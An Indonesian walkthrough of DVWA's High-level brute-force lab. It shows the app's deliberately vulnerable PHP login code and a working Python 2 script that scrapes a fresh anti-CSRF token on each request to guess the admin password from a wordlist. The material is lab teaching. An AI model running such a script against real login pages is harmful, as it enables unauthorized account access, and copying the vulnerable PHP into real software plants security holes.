High

Brute Force level High on DVWA

Di bawah ini adalah source-code dari form login level high di DVWA.

vulnerabilities/brute/source/high.php
<?php

if( isset( $_GET[ 'Login' ] ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Sanitise username input
    $user = $_GET[ 'username' ];
    $user = stripslashes( $user );
    $user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

    // Sanitise password input
    $pass = $_GET[ 'password' ];
    $pass = stripslashes( $pass );
    $pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $pass = md5( $pass );

    // Check database
    $query  = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

    if( $result && mysqli_num_rows( $result ) == 1 ) {
        // Get users details
        $row    = mysqli_fetch_assoc( $result );
        $avatar = $row["avatar"];

        // Login successful
        echo "<p>Welcome to the password protected area {$user}</p>";
        echo "<img src=\"{$avatar}\" />";
    }
    else {
        // Login failed
        sleep( rand( 0, 3 ) );
        echo "<pre><br />Username and/or password incorrect.</pre>";
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

// Generate Anti-CSRF token
generateSessionToken();

?>

Mendapatkan Informasi

Pada level high ini, server akan melakukan validasi Anti-CSRF token terlebih dahulu. Dan jika gagal melakukan login akan terjadi delay 0-3 detik.

Singkatnya, Anti-CSRF token adalah token yang bersifat unik (setiap adanya request baru nilanya akan berubah) yang digunakan untuk memastikan user melakukan request secara resmi.

Jika kita melakukan inspect element, maka akan terlihat terdapat tag input bertipe hidden dengan nama user_token beserta nilainya.

Nilai dari token tersebut akan selalu berubah ketika kita melakukan request yang baru (coba saja anda refresh, pasti hasilnya akan berbeda).

Jika kita memaksa untuk menggunakan nilai yang sama, maka request akan gagal dilakukan dan halaman akan di-redirect ke form login kembali.

Untuk menghadapi masalah ini kita tidak bisa menggunakan Hydra lagi, karena tidak bisa mengatasi Anti-CSRF token yang selalu berubah-ubah. Oleh karena itu, kita akan melakukan brute force dengan membuat script sendiri menggunakan bahasa Python.

Melakukan Serangan

Pertama, kita siapkan dulu script-nya seperti berikut:

bruteforce.py
from sys import argv
import requests
from BeautifulSoup import BeautifulSoup as Soup

# give our arguments more semantic friendly names
script, filename, success_message = argv
txt = open(filename)

# set up our target, cookie and session
url = 'http://172.17.0.2/vulnerabilities/brute/index.php'
cookie = {'security': 'high', 'PHPSESSID':'77jr5376ldag1qc392brdr2b11'}
s = requests.Session()
target_page = s.get(url, cookies=cookie)

''' 
checkSuccess
@param: html (String)

Searches the response HTML for our specified success message
'''
def checkSuccess(html):
 # get our soup ready for searching
 soup = Soup(html)
 # check for our success message in the soup
 search = soup.findAll(text=success_message)
 
 if not search:
  success = False

 else:
  success = True

# return the brute force result
 return success

# Get the intial CSRF token from the target site
page_source = target_page.text
soup = Soup(page_source);
csrf_token = soup.findAll(attrs={"name": "user_token"})[0].get('value')

# Display before attack
print 'DVWA URL' + url
print 'CSRF Token='+ csrf_token

# Loop through our provided password file
with open(filename) as f:
 print 'Running brute force attack...'
 for password in f:

# Displays password tries and strips whitespace from password list  
  print 'password tryed: ' + password
  password = password.strip()

  # setup the payload
  payload = {'username': 'admin', 'password': password, 'Login': 'Login', 'user_token': csrf_token}
  r = s.get(url, cookies=cookie, params=payload)
  success = checkSuccess(r.text)

  if not success:
   # if it failed the CSRF token will be changed. Get the new one
   soup = Soup(r.text)
   csrf_token = soup.findAll(attrs={"name": "user_token"})[0].get('value')
  else:
   # Success! Show the result
   print 'Password is: ' + password
   break

# We failed, bummer. 
 if not success:
  print 'Brute force failed. No matches found.'

Script tersebut saya dapatkan ketika membaca artikel Danny Beton.

Script tersebut menggunakan Python2. Sebelum menjalankannya, pastikan dependensi telah terinstall.

sudo pip install requests
sudo pip install beautifulsoup

Untuk menjalankan script tersebut, kita membutuhkan parameter untuk nama file wordlist dan pesan sukses untuk menentukan keberhasilannya, seperti berikut:

python2.7 bruteforce.py DVWA-Wordlist.txt "Welcome to the password protected area admin"

Jika berhasil, akan muncul password yang valid seperti gambar di atas.

Yay! Selamat kita berhasil mendapatkan password-nya. Banyak yang saya pelajari dalam menyelesaikan kasus ini. Tetap semangat!😁

Last updated